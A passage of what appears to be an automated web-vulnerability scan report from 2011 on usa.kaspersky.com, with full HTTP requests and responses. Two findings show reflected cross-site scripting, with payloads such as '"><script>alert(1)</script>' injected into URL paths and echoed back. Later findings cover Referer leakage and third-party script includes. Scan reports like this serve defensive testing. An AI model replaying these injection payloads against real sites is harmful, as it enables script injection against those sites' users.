s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf93a5a"-alert(1)-"05956d8a4dd";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

1.44. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1723a"><script>alert(1)</script>ee20143fcdf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf1723a"><script>alert(1)</script>ee20143fcdf HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138995"
Content-Type: text/html; charset=utf-8
Content-Length: 34722
Date: Sun, 04 Sep 2011 12:23:25 GMT
X-Varnish: 1163051651
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf1723a"><script>alert(1)</script>ee20143fcdf" />
...[SNIP]...

1.45. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2741c"-alert(1)-"a6f7a31d0f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf2741c"-alert(1)-"a6f7a31d0f HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:23:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315139022"
Content-Type: text/html; charset=utf-8
Content-Length: 32273
Date: Sun, 04 Sep 2011 12:23:47 GMT
X-Varnish: 1163052278
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
e;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf2741c"-alert(1)-"a6f7a31d0f";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-->
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://usa.kaspersky.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /?domain=kapersky.com HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:13:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138436"
Content-Type: text/html; charset=utf-8
Content-Length: 49475
Date: Sun, 04 Sep 2011 12:17:49 GMT
X-Varnish: 1163042541 1163036284
Age: 231
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<noscript>
<img width="1" height="1" style="border:0" src="HTTP://bs.serving-sys.com/BurstingPipe/ActivityServer.bs?cn=as&amp;ActivityID=136009&amp;ns=1"/>
</noscript>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.se'>Sverige</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.pl/'>Polska</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.ro/'>Rom&#226;nia</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" class='image' href='http://www.kaspersky.ru/'><img src='http://www.kaspersky.com/images/newdesign/russia.gif' width=33 height=10 alt=''/>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky-sea.com/'>South-East Asia</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kasperskyasia.com/'>Asia Pacific</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" class='image' href='http://www.kasperskylab.co.kr/'><img src='http://www.kaspersky.com/images/newdesign/korea.gif' width=21 height=10 alt=''/>
...[SNIP]...
<li class="leaf"><a href="http://support.kasperskyamericas.com/" class="active-trail"><span>
...[SNIP]...
<div class="title"><a href="http://threatpost.com/en_us/your-newest-resource-fast-breaking-it-security-news-and-analysis?utm_source=Kaspersky+Home+Page&utm_medium=Ad+Unit&utm_campaign=Newsletter+Sign-up" target="_blank" title="Threatpost Newsletter Sign-up" style="display:block; color:#fff;">IT Security News</a>
...[SNIP]...
<div class="content"><a href="http://threatpost.com/en_us/your-newest-resource-fast-breaking-it-security-news-and-analysis?utm_source=Kaspersky+Home+Page&utm_medium=Ad+Unit&utm_campaign=Newsletter+Sign-up" target="_blank" title="Threatpost Newsletter Sign-up" style="display:block;"><img src="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/images/HP_TP-ad.jpg" title="Threatpost Newsletter"/>
...[SNIP]...
<div style="font-family: 'arial narrow'; font-size: 1.4em; line-height: 1.3em; position: absolute; z-index: 10; margin: -80px 0 0 20px;"><a href="http://threatpost.com/en_us/your-newest-resource-fast-breaking-it-security-news-and-analysis?utm_source=Kaspersky+Home+Page&utm_medium=Ad+Unit&utm_campaign=Newsletter+Sign-up" target="_blank" title="Threatpost Newsletter Sign-up" style="display:block; color:#838177;">The Kaspersky Lab<br/>
...[SNIP]...
</div>
<a style="font-weight: bold; font-size: 1.2em; display: block; position: absolute; z-index: 10; margin: -25px 0 0 20px;" href="http://threatpost.com/en_us/your-newest-resource-fast-breaking-it-security-news-and-analysis?utm_source=Kaspersky+Home+Page&utm_medium=Ad+Unit&utm_campaign=Newsletter+Sign-up" target="_blank" title="Threatpost Newsletter Sign-up">Sign-up today &raquo;</a>
...[SNIP]...
<NOSCRIPT>
<IMG SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=homep123;ord=1?" WIDTH=1 HEIGHT=1 BORDER=0 ALT=""/>
</NOSCRIPT>
...[SNIP]...
<li><a href="http://support.kasperskyamericas.com/home/internet-security ">Home products</a>
...[SNIP]...
<li><a href="http://support.kasperskyamericas.com/corporate/anti-virus-6-r2-mp4-windows-workstations">Corporate products</a>
...[SNIP]...
<div style="width: 26px; float: left; margin-right: 10px;"><a title="Become our fan on Facebook" href="http://www.facebook.com/home.php?ref=home#/pages/Kaspersky-Lab-Americas/98958914166?ref=ts&amp;campaign=20000042" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-facebook.jpg" border="0" alt="Get Connected with Kaspersky on Facebook" width="26" height="26" />
...[SNIP]...
<div style="width: 26px; float: left; margin-right: 10px;"><a title="Follow us on Twitter" href="http://twitter.com/kaspersky?campaign=20000043" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-twitter.jpg" border="0" alt="Get Connected with Kaspersky on Twitter" width="26" height="26" />
...[SNIP]...
<div style="width: 26px; float: left;"><a title="YouTube Channel" href="http://youtube.com/KasperskyAmericas" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-youtube.jpg" border="0" alt="Get Connected with Kaspersky on our YouTube Channel" width="26" height="26" />
...[SNIP]...
<noscript>
<IMG SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=foote902;ord=1?" mce_SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=foote902;ord=1?" WIDTH=1 HEIGHT=1 BORDER=0 ALT=""/>
</noscript>
...[SNIP]...
<noscript>
<img width="1" height="1" style="border:0" src="HTTP://bs.serving-sys.com/BurstingPipe/ActivityServer.bs?cn=as&amp;ActivityID=136009&amp;ns=1"/>
</noscript>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://tr1.kaspersky.com/b/ss/kaspersky-usa/1/H.22--NS/0?/9255282"
height="1" width="1" border="0" alt="" />
...[SNIP]...

2.2. http://usa.kaspersky.com/products-services/home-computer-security/pure  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/pure

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /products-services/home-computer-security/pure?ICID=INT1673886 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; gpv_pageName=Homepage; s_nr=1315139037033-New; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:24:38 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139078"
Set-Cookie: SESS0d3630958f3c3e8e08486b0d8335aea6=deleted; expires=Sat, 04-Sep-2010 12:24:46 GMT; path=/; domain=.usa.kaspersky.com; httponly
Content-Type: text/html; charset=utf-8
Content-Length: 107532
Date: Sun, 04 Sep 2011 12:24:47 GMT
X-Varnish: 1163053893
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.se'>Sverige</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.pl/'>Polska</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky.ro/'>Rom&#226;nia</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" class='image' href='http://www.kaspersky.ru/'><img src='http://www.kaspersky.com/images/newdesign/russia.gif' width=33 height=10 alt=''/>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kaspersky-sea.com/'>South-East Asia</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" href='http://www.kasperskyasia.com/'>Asia Pacific</a>
...[SNIP]...
<li><a onclick="try{trackCountrySelector(this);}catch(err){}" class='image' href='http://www.kasperskylab.co.kr/'><img src='http://www.kaspersky.com/images/newdesign/korea.gif' width=21 height=10 alt=''/>
...[SNIP]...
<li class="leaf"><a href="http://support.kasperskyamericas.com/" class="active-trail"><span>
...[SNIP]...
<div style="padding-top:5px;" >
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div class="buy-button"><a class="buy-now-btn" title="Kaspersky PURE Total Security" target="_self" href="https://store.digitalriver.com/store/kasperus/en_US/buy/productID.224975900/offerID.8575749809">Buy Now &raquo;</a>
...[SNIP]...
<div class="buy-button"><a class="buy-now-btn" title="Kaspersky PURE Total Security" target="_self" href="https://store.digitalriver.com/store/kasperus/en_US/buy/productID.224976000/offerID.8575749809">Buy Now &raquo;</a>
...[SNIP]...
<div class="buy-button"><a class="buy-now-btn" title="Kaspersky PURE Total Security" target="_self" href="https://store.digitalriver.com/store/kasperus/en_US/buy/productID.223556700/offerID.8575749809">Buy Now &raquo;</a>
...[SNIP]...
<div style="line-height:50px; float: left; margin-left: 20px;"><a href="http://kaspersky.ugc.bazaarvoice.com/8811/2000014/writereview.htm?return=http%3A%2F%2Fusa.kaspersky.com%2Fproducts_services%2Fhome-computer-security%2Finternet-security&submissionurl=http://usa.kaspersky.com/products-services/submit-review">Write a Review</a>
...[SNIP]...
<NOSCRIPT>
<IMG SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=forge518;ord=1?" WIDTH=1 HEIGHT=1 BORDER=0 ALT=""/>
</NOSCRIPT>
...[SNIP]...
<li><a href="http://support.kasperskyamericas.com/home/internet-security ">Home products</a>
...[SNIP]...
<li><a href="http://support.kasperskyamericas.com/corporate/anti-virus-6-r2-mp4-windows-workstations">Corporate products</a>
...[SNIP]...
<div style="width: 26px; float: left; margin-right: 10px;"><a title="Become our fan on Facebook" href="http://www.facebook.com/home.php?ref=home#/pages/Kaspersky-Lab-Americas/98958914166?ref=ts&amp;campaign=20000042" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-facebook.jpg" border="0" alt="Get Connected with Kaspersky on Facebook" width="26" height="26" />
...[SNIP]...
<div style="width: 26px; float: left; margin-right: 10px;"><a title="Follow us on Twitter" href="http://twitter.com/kaspersky?campaign=20000043" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-twitter.jpg" border="0" alt="Get Connected with Kaspersky on Twitter" width="26" height="26" />
...[SNIP]...
<div style="width: 26px; float: left;"><a title="YouTube Channel" href="http://youtube.com/KasperskyAmericas" target="_blank"><img src="/sites/all/themes/zen/kaspersky_usatheme/images/footer-youtube.jpg" border="0" alt="Get Connected with Kaspersky on our YouTube Channel" width="26" height="26" />
...[SNIP]...
<noscript>
<IMG SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=foote902;ord=1?" mce_SRC="http://ad.doubleclick.net/activity;src=2342885;type=bbtom354;cat=foote902;ord=1?" WIDTH=1 HEIGHT=1 BORDER=0 ALT=""/>
</noscript>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://tr1.kaspersky.com/b/ss/kaspersky-usa/1/H.22--NS/0?/2358819"
height="1" width="1" border="0" alt="" />
...[SNIP]...

3. Cross-domain script include  previous  next
There are 8 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://usa.kaspersky.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /?domain=kapersky.com HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:13:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138436"
Content-Type: text/html; charset=utf-8
Content-Length: 49475
Date: Sun, 04 Sep 2011 12:17:49 GMT
X-Varnish: 1163042541 1163036284
Age: 231
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...

3.2. http://usa.kaspersky.com/node/17007  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /node/17007

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /node/17007 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; slider_session=yes; s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.5.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gpv_pageName=Search%20%7C%20Search%20Results; ev5=far%2Bhelp%2Bvirus; s_nr=1315139085816-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fnode%25252F17007%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:27:32 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139252"
Content-Type: text/html; charset=utf-8
Content-Length: 36720
Date: Sun, 04 Sep 2011 12:27:44 GMT
X-Varnish: 1163058525
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...

3.3. http://usa.kaspersky.com/products-services/home-computer-security/internet-security  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/internet-security

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /products-services/home-computer-security/internet-security HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; NO_CACHE=Y; s_cc=true; intcamp=INT1673886; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.3.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); slider_session=yes; gpv_pageName=Search%20%7C%20Search%20Results; ev5=xss; s_nr=1315139065855-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253DSearch%2526oidt%253D3%2526ot%253DSUBMIT; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:26:15 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139175"
Content-Type: text/html; charset=utf-8
Content-Length: 109002
Date: Sun, 04 Sep 2011 12:26:43 GMT
X-Varnish: 1163056581
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<!-- facebook like button -->

<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

3.4. http://usa.kaspersky.com/products-services/home-computer-security/mobile-security  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/mobile-security

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /products-services/home-computer-security/mobile-security HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/search/apachesolr_search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; slider_session=yes; ev5=xss; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; s_cc=true; gpv_pageName=Store%20%7C%20Home%20Users%20%7C%20Kaspersky%20Store; s_nr=1315139071025-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.4.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:26:42 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139202"
Content-Type: text/html; charset=utf-8
Content-Length: 77836
Date: Sun, 04 Sep 2011 12:27:00 GMT
X-Varnish: 1163057207
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<!-- Add Bazaarvoice JavaScript API -->
<script type="text/javascript" src="//kaspersky.ugc.bazaarvoice.com/static/8811/bvapi.js"> </script>
...[SNIP]...
<div style="padding-top:5px;">
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

3.5. http://usa.kaspersky.com/products-services/home-computer-security/pure  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /products-services/home-computer-security/pure

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /products-services/home-computer-security/pure?ICID=INT1673886 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
